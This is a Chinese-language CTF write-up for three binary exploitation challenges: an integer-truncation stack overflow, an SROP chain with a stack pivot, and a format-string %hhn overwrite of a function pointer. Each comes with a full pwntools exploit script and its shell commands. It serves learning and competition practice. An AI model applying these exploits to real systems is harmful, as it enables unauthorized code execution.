== million pound == I want one fine million-pound cheque, one brand-new million-pound cheque, ... How many should I prepare? What would you like written, sir? [输入数字] [输入内容] Very good, sir.
0x03 关键函数
| 函数地址 | 功能 |
|---|---|
0x401236 initialise | 关缓冲区 + alarm(60) |
0x4012a5 read_number | fgets 读一行 → strtoul 转成无符号长整数 |
0x401310 read_exact | 循环 read 读够指定字节数 |
0x40137f cheque_bytes | return n * 8(n 左移 3 位) |
0x401394 staff_room | 直接 execve("/bin/sh", ...) —— win 函数 |
0x40113c9 main | 主逻辑 |
main()函数

staff_room()

0x04 漏洞:整数截断(Integer Truncation)
触发链
number (unsigned long, 8 字节)
│
├─→ v5 = number * 8(取低字节 al)──→ cheque 检查:v5 ≤ 0x60 ?
│ ↑ 只看 1 字节
└─→ read_exact(fd, buf, number * 8) ──→ 实际读完整 64 位大小
↑ 用 8 字节
检查用截断后的值,读用完整的值——这就是漏洞。可以看到v5是int8 也就是写入到al
为什么 number=12 不够,number=44 可以
number=12: number*8 = 96 = 0x060 al=0x60 ≤0x60 ✓ 实际读 96 字节 ✗ 不够 number=13: number*8 = 104 = 0x068 al=0x68 >0x60 ✗ 被踢 ... number=31: number*8 = 248 = 0x0f8 al=0xf8 >0x60 ✗ 被踢 number=32: number*8 = 256 = 0x100 al=0x00 ≤0x60 ✓ 实际读 256 字节 ✓ 够 number=44: number*8 = 352 = 0x160 al=0x60 ≤0x60 ✓ 实际读 352 字节 ✓ 够 number=45: number*8 = 360 = 0x168 al=0x68 >0x60 ✗ 被踢
合法 number 的范围是 [32, 44](这个区间内 n*8 低字节都 ≤ 0x60)。
栈布局
rbp-0x70 ┌──────────────────┐
│ buffer │ 112 字节(要溢出到这里)
│ ... │
rbp-0x09 ├──────────────────┤
│ v5 (1 byte) │
rbp-0x08 ├──────────────────┤
│ number (8 byte)│
rbp ├──────────────────┤
│ saved rbp │ 8 字节
rbp+0x08 ├──────────────────┤
│ return address │ 8 字节 ← 我们覆盖这个
└──────────────────┘
要覆盖返回地址,需要至少 112 + 8 + 8 = 128 字节。
0x05 payload编写
from pwn import *
context(os = 'linux',arch = 'amd64')
# r = process('./million-pound')
r = remote('127.0.0.1',17651)
r.recvuntil(b'How many should I prepare?')
r.sendline(b'44')
r.recvuntil(b'What would you like written, sir?')
offset = 0x70
ret = 0x040149A
payload = b'a'*0x70+p64(ret)+p64(0x0401394)
payload = payload.ljust(0x160, b'a')
time.sleep(0.2)
r.sendline(payload)
r.sendline(b'cat /flag* 2>/dev/null; cat flag* 2>/dev/null')
r.sendline(b'ls -la /')
r.sendline(b'id')
print(r.recvall(timeout=3).decode(errors='replace'))
r.interactive()
自助打印机-SROP
https://ctf.xidian.edu.cn/games/37/challenges?challenge=1383
0x01 程序结构分析

| 参数 | 参数描述 |
|---|---|
NX enable | shellcode使用汇编代码会失效,不具有X执行权限。那syscall汇编可以忽略了。 |
canary found | 栈开启了金丝雀保护,可能需要获取金丝雀的值进行栈溢出的绕出保护 |
| SHSTK | 影子栈保护开启,普通的写操作指令(如 mov、memcpy)无法向该内存区域写入,只有 call、ret 等特定控制流硬件指令或内核态专有指令才能操作。防御ROP |
0x02 函数分析
read_exact -> 0x401815
函数解释
强制从标准输入(stdin,文件描述符 0)读取指定长度(a2 字节)的数据,少读一个字节都不行;如果不满或出错,直接终止程序。

confirm_print_job -> 0x0401878
z
在这个函数中出现了栈溢出,0x30是可操控的溢出,不过得看看还有什么信息。NX开启了所以应该得进行栈迁移,不然也不够写ROP链子这些
main->0x04018A2


根据逻辑判断,这个v4输入1字节的数应该走到的是if语句里边,但是跑到了else。

在程序里边ASCII输入数字的值是31起步的,read_exact的逻辑是读取前两个字节,按照小端序规则填进栈中变量v4
输入的1 \n就导致了31 0a在程序显示的是 0x0a31超过了0x400,所以还得使用p16去发送字节
简单写一个脚本
from pwn import *
context(os = 'linux',arch = 'amd64')
r = process('./printer_queue')
r.recvuntil(b'[printer] Send print queue data:')
r.send(p16(0x1))
r.interactive()

说明判断成功了,继续分析
read_exact(&print_queue, v4);
print_queue地址指向的是bss段(0x04A9A80),发现这里具有超大的空间存储。说明payload需要写到这里进行执行


那这个程序的攻击流程可以定下来了。
这题没有libc文件,没有后门函数,ret2dlresolve缺乏.dynsym,那栈溢出只剩下SROP用法了
0x03 攻击流程

0x04 payload
from pwn import *
context(os = 'linux',arch = 'amd64')
r = process('./printer_queue')
# part1
r.recvuntil(b'[printer] Send print queue data:')
r.send(p16(0x200))
# part2
print_queue_addr = 0x04A9A80
bin_sh = print_queue_addr + 0x110
syscall = 0x40ba46
# execve('/bin/sh',0,0)
frame = SigreturnFrame()
frame.rax = 59
frame.rdi = bin_sh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
frame.rsp = print_queue_addr + 0x400
pop_rax = 0x42149b
# call SigreturnFreme
payload = p64(pop_rax) # byte 8
payload += p64(15) # byte 8
payload += p64(syscall) # byte 8
payload += bytes(frame) # byte 248
payload += b'/bin/sh\x00' # byte 8
r.send(payload.ljust(0x200, b'\x00'))
# part 3
r.recvuntil(b'40-byte ticket:')
offset = 0x10 + 0x8
pop_rsp = 0x460668
payload2 = b'a'*offset + p64(pop_rsp) + p64(print_queue_addr)
r.send(payload2)
r.interactive()
外卖补贴--格式化字符串漏洞
格式化字符串漏洞
可以看看这个师傅的对格式化字符串的解释:格式化字符串漏洞原理及其利用详解(附带例题讲解)
格式化字符串漏洞(Format String Vulnerability)是 C/C++ 等低级语言中一种经典且高危的内存安全漏洞。它的核心成因是:程序员将用户可控的输入直接作为格式化函数(如 printf、sprintf、fprintf 等)的第一个参数(即“格式化字符串”本身),而不是作为待格式化的数据参数传入。
这使得攻击者可以通过构造特殊的格式化占位符(如 %x、%s、%n),诱使程序越界读取栈内存中的数据,甚至向任意内存地址写入数据,进而实现信息泄露或控制程序执行流(劫持代码执行)。
1. 漏洞成因对比
在 C 语言中,格式化输出函数的正确用法与存在漏洞的用法仅有一字之差:
char user_input[100];
scanf("%99s", user_input);
// 【存在漏洞的写法】直接将用户输入作为格式化字符串
printf(user_input);
// 【安全的写法】显式指定格式化字符串,将用户输入作为普通数据参数
printf("%s", user_input);
正常情况: 当传入 printf("Hello %s", "World") 时,printf 解析第一个参数,看到一个 %s,便会去栈上(或对应的寄存器中)寻找紧随其后的第二个参数地址,并将其内容作为字符串打印出来。
漏洞触发: 当执行 printf(user_input) 且用户输入为 "Hello %x %x %x" 时,程序员并没有为 printf 提供后续参数,但 printf 函数本身无法检测实际传入的参数个数。它依然会忠实地解析字符串里的三个 %x,并顺着当前栈帧继续向上读取紧邻的三个内存单元的数据,将它们以十六进制形式打印出来。
2. 底层机制与攻击危害
C 语言中的可变参数函数(Variadic Functions)依赖调用约定(在 32 位 x86 架构中完全依赖栈,在 64 位 x86_64 架构中前 6 个参数使用寄存器 RDI, RSI, RDX, RCX, R8, R9,超出部分使用栈)。当格式化占位符的数量超过实际传入的参数数量时,解析指针就会顺着栈内存不断向高地址偏移。
攻击者利用不同的格式化说明符,可以达成三种核心危害:
| 攻击类型 | 核心占位符 | 原理与危害描述 |
|---|---|---|
| 栈内存泄露(信息泄露) | %x / %p | 逐个读取栈上的十六进制数值或指针。攻击者借此泄露栈地址、函数返回地址、堆地址或 Canary(栈保护金丝雀值),从而绕过 ASLR(地址空间布局随机化)等现代防护机制。 |
| 任意地址内存读取 / 崩溃 | %s | %s 会将对应栈单元中的数值视为一个内存地址指针,并去读取该地址指向的字符串内容。如果攻击者通过计算偏移指定栈上某个特定地址,就能读取任意内存(如密码、密钥);如果该值是一个非法地址(如 0x00000000),程序会立即触发段错误(Segmentation Fault)而崩溃。 |
| 任意地址内存写入(代码执行) | %n | %n 是最危险的占位符——它不输出内容,而是将截至目前已成功输出的字符总数,写入到对应参数所指向的内存地址中。配合宽度控制符(如 %100c)和直接参数访问(如 %4$n,指定访问第 4 个参数),攻击者可以向任意内存地址(如函数的返回地址、GOT 全局偏移表)写入精心构造的数值,直接劫持程序控制流执行恶意代码(Shellcode 或 ROP 链)。 |
3. 进阶利用技巧:直接参数访问($)
在实际攻击中,攻击者不需要输入成百上千个 %x 来一步步挪动栈指针。POSIX 标准支持使用 %k$ 语法直接指定读取第 个参数:
%6$p:直接以指针格式打印第 6 个参数位置的内存值。- 任意地址读写组合拳:如果攻击者输入的字符串本身就存储在栈上(例如位于相对于
printf的第 6 个参数位置),攻击者可以在输入字符串的开头填入目标内存地址(如0x08049724),随后在字符串后半部分加上%6$s或%6$n。这样printf就会将攻击者自己输入的地址当作指针进行解引用,实现精准的任意地址读取或任意地址篡改。
4. 防御与修复方案
- 永远硬编码格式化字符串: 绝对不要将外部输入直接作为格式化函数的第一个参数。始终使用
printf("%s", user_input),如果只是单纯输出字符串且不需要格式化,优先使用更安全的puts(user_input)或fputs(user_input, stdout)。 - 开启编译器警告: 在使用 GCC 或 Clang 编译时,开启
-Wformat和-Wformat-security(通常包含在-Wall中,也可加上-Werror=format-security将警告升级为编译错误)。编译器会自动检测那些格式化字符串非常量且没有后续参数的危险调用。 - 启用
_FORTIFY_SOURCE防护: 在编译时开启-D_FORTIFY_SOURCE=2。在开启该保护后,Glibc 会在运行时检查%n是否位于可写内存段中(防止攻击者将带有%n的恶意字符串放在栈或堆上执行),并在使用$跨参数访问时强制检查参数连续性。
本题就是使用了格式化字符串漏洞%n篡改指针的指向值
0x01 题目分析

PIE随机化打开,所以得看看有没有什么方式去泄露
发现了/bin/sh关键的shell字符串,应该是有后门函数
0x02 函数分析
以下的地址都不是静态地址,使用base表示基址
read_exact -> base+0x01442
read_exact函数含义:
从指定的文件描述符 a1 中,强制读取满 a3 个字节的数据,并存入内存地址 a2 中;在没有读够 a3 个字节之前,它会一直循环等待并继续读取。所以如果是发送数据给该函数接收的话需要使用r.send()

read_number -> base+0x139E
含义:从标准输入(键盘)逐字符读取一行数字字符串(最多读取 31 个字符),然后将其转换为一个 64 位无符号整数并返回。当程序遇到\n也会结束进行退出

director_channel ->base+0x012F7 后门函数

preview_slogan -> base + 0x135C 格式化字符串漏洞

homepage_channel->base+0x12D8

和director_channel很近,这是一个埋下的伏笔,他两相差1F而已
main函数->base+0x0151B
int __fastcall main(int argc, const char **argv, const char **envp)
{
const char *v3; // rdi
unsigned __int64 number; // rax
_QWORD v6[64]; // [rsp+0h] [rbp-210h] BYREF
__int64 v7; // [rsp+200h] [rbp-10h] BYREF
unsigned __int64 v8; // [rsp+208h] [rbp-8h]
memset(v6, 0, sizeof(v6));
v3 = (const char *)&v7;
v8 = 0LL;
initialise(&v7, argv);
publish_hook = (__int64 (__fastcall *)(_QWORD))homepage_channel;
while ( 1 )
{
show_menu(v3, argv);
number = read_number(v3, argv);
if ( number == 4 )
return 0;
if ( number > 4 )
goto LABEL_17;
switch ( number )
{
case 3uLL:
v3 = "The discount line has been pushed to the homepage.";
publish_hook("The discount line has been pushed to the homepage.");
break;
case 1uLL:
printf("How long is this campaign line? ");
v8 = read_number("How long is this campaign line? ", argv);
if ( v8 && v8 <= 0x1FF )
{
printf("Drop your campaign line here: ");
argv = (const char **)v6;
read_exact(0LL, v6, v8);
*((_BYTE *)v6 + v8) = 0;
v3 = "Nice. Let us see how many people search for it.";
puts("Nice. Let us see how many people search for it.");
}
else
{
v3 = "That campaign line will not fit on the board.";
puts("That campaign line will not fit on the board.");
}
break;
case 2uLL:
if ( v8 )
{
v3 = (const char *)v6;
preview_slogan(v6);
}
else
{
v3 = "No campaign line has been submitted.";
puts("No campaign line has been submitted.");
}
break;
default:
LABEL_17:
v3 = "The marketing dashboard ignores that request.";
puts("The marketing dashboard ignores that request.");
break;
}
}
}
观察可以发现程序的运行可以发现

程序启动
│
├── initialise(): 关闭三个流的缓冲 + alarm(60)定时炸弹
├── publish_hook = homepage_channel(指针初始化,仅此一次)
▼
┌─────────── 主循环 ───────────┐
│ 打印菜单,读入数字 n │
└─────────────────────────────┘
│
├── n=1 提交标语
│ 读长度 L(限 1~0x1ff)
│ 读 L 个字节存入 buf
│ buf[L] = 结尾0
│
├── n=2 预览
│ printf("preview: ")
│ printf(buf) ← 漏洞在这
│ 换行
│
├── n=3 上首页
│ 调用 publish_hook 指向的函数
│ (默认 puts "pushed to homepage")
│
├── n=4 下班 → 程序退出
│
└── 其他数字 → 打印"忽略该请求"
发现了格式化字符串漏洞,我们先试试能不能通过格式化字串漏洞把PIE base地址还原出来,发送一下的字符串
AAAA|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p
from pwn import *
context(os = 'linux', arch = 'amd64')
r = process('./full-reduction')
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'How long is this campaign line?')
r.sendline(b'60')
payload = b'AAAA|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p|%p|%p%|%p|%p'
payload = payload.ljust(60,b'\x00')
r.send(payload)
r.recvuntil(b'>')
r.sendline(b'2')
r.interactive()

观察可以发现在%10$p的时候显示的是栈空间地址,也就是buf地址了。这里就重新做一个科普吧,关于PIE偏移

回到题目本身,你就可以发现我们刚刚出现的%9$p 槽里边出现了0x55开头的被ASLR的地址0x55bda59ec670
最后三位670是固定不变的值,我们去IDA里边看看谁是刚好在PIE随机化的指令,也可以试试使用objdump去查
objdump -d -M intel full-reduction > dis.text

至此我们拿到了PIE base地址
0x03 攻击流程
观察程序还可以发现在使用case3的时候
publish_hook实际上是一个指针函数,指向homepage_channel



那就是说有没有可能我们将pubilsh_hook指向的值通过printf修改就能指向后门函数了呢? 可以发现 homepage_channel 和 director_channel实际的汇编仅仅在最低字节不同
publish_hook 现值 = PIE + 0x12d8 (homepage)
想改成 = PIE + 0x12f7 (director)
PIE 基址页对齐(低12位=000) → 两个地址高 7 字节完全相同, 只有最低字节不同:
0xd8 → 0xf7
所以无需写完整 8 字节,一次 %hhn 写入 0xf7 = 247 即可。%n 家族的合同:写入的值 = printf 内部"已输出字符数"计数器,不能任选。想让计数器 = 247,就必须先打印恰好 247 个字符 —— 这就是宽度泵的用途。
%1$247c%12$hhn
第一条:%1$247c —— 把计数器泵到 247
% 1$ 247 c
│ │ │ └ 转换类型:按"单个字符"打印
│ │ └ 宽度:输出不足 247 列就用空格垫满
│ └ 点名:用第 1 个参数当原料
└ 格式符开始
第二条:%12$hhn —— 把计数器写进目标地址
% 12$ hh n
│ │ │ └ 特殊转换:不打印,反而把"当前计数器"写入参数指向的内存
│ │ └ 长度修饰:只写 1 个字节(hh=char;h=2字节;不写=4字节)
│ └ 点名:用第 12 个参数
└ 格式符开始
第 12 个参数 = 栈上从 printf 视角数的第 12 格 = buf+16 处那 8 字节——正是我们埋的 p64(publish_hook)。printf 拿它当地址执行:
*(unsigned char *)(publish_hook的地址) = 0xf7; // 计数器的值, 1 字节
publish_hook 存的 8 字节值 0x00005555555552d8 按 x86-64 小端序摊在内存里,最低有效字节在最低地址:
地址: 80b0 80b1 80b2 80b3 80b4 80b5 80b6 80b7
内容: d8 52 55 55 55 55 00 00
↑
&publish_hook 指向这里 = 值的最低字节 = 0xd8
所以“变量的首字节”就是“数值的最低字节”——0xd8 正好坐在 %hhn 的弹着点上。这也是你 gdb 实拍看过的画面:改后逐字节是 f7 52 55 55 55 55 00 00,只有 80b0 一个格子变了。
如果把 %hhn 换成 %n(4 字节写),弹着点还是 0x…80b0,但一次砸进去 4 个字节 f7 00 00 00:
改前: d8 52 55 55 | 55 55 00 00 = 0x00005555555552d8
改后: f7 00 00 00 | 55 55 00 00 = 0x00005555_000000f7 ← 指针毁掉, call rax 即崩
连接程序 (process / remote)
│
▼
━━ 第一阶段:偷看地址 ────────────────────────
├── 选 1 提交 "%9$p"(长度发 4)
├── 选 2 预览 → printf 把栈上第 9 格吐出来
│ 收到 0x…6670 (= PIE + 0x1670)
└── 算账:PIE = 泄露值 − 0x1670
publish_hook = PIE + 0x40b0
│
▼
━━ 第二阶段:偷换字节 ────────────────────────
├── 组装 24 字节弹药:
│ "%1$247c%12$hhn" + "AA" + p64(publish_hook)
|
├── 选 1 提交(长度发 24)
├── 选 2 预览 → printf 干两件事:
│ ① 打 247 个字符,计数器泵到 247
│ ② %12$hhn 把 0xf7 写进 publish_hook 最低字节
│
│ 内存变化(.bss 里那 8 字节):
│ …52 d8 62 ed c0 ee 55 00 ← homepage_channel
│ …52 f7 62 ed c0 ee 55 00 ← director_channel ★只动了 1 字节
└── 吃掉 247 字符的输出 + 菜单
│
▼
━━ 第三阶段:收获 ────────────────────────────
├── 选 3 → call [publish_hook]
│ 此时指向 director_channel:
│ chdir("/") → alarm(15) → execve("/bin/sh","-p")
└── 成功时无任何输出,直接就是 shell
敲 id / cat flag,15 秒内干完活
0x04 完整的payload
from pwn import *
context(os='linux',arch = 'amd64')
# r = process('./full-reduction')
r=remote('127.0.0.1',60704)
# gdb.attach(r)
r.recvuntil(b'> ')
r.sendline(b'1')
r.recvuntil(b'How long is this campaign line?')
r.sendline(b'4')
r.send(b'%9$p')
r.sendline(b'2')
r.recvuntil(b'preview: ')
leak = r.recvline().strip()
base = int(leak,16) - 0x1670
log.success(hex(base))
publish_hook = base + 0x40B0
r.sendline(b'1')
r.recvuntil(b'How long is this campaign line?')
r.sendline(b'300')
payload = b'%1$247c%12$hhn'+b'AA'+p64(publish_hook)
payload = payload.ljust(300,b'\x00')
r.send(payload)
r.sendline(b'2')
r.recvuntil(b'4. done? clock out\n> ')
r.sendline(b'3')
r.sendline(b'cat /flag')
r.interactive()

评论区
评论加载中...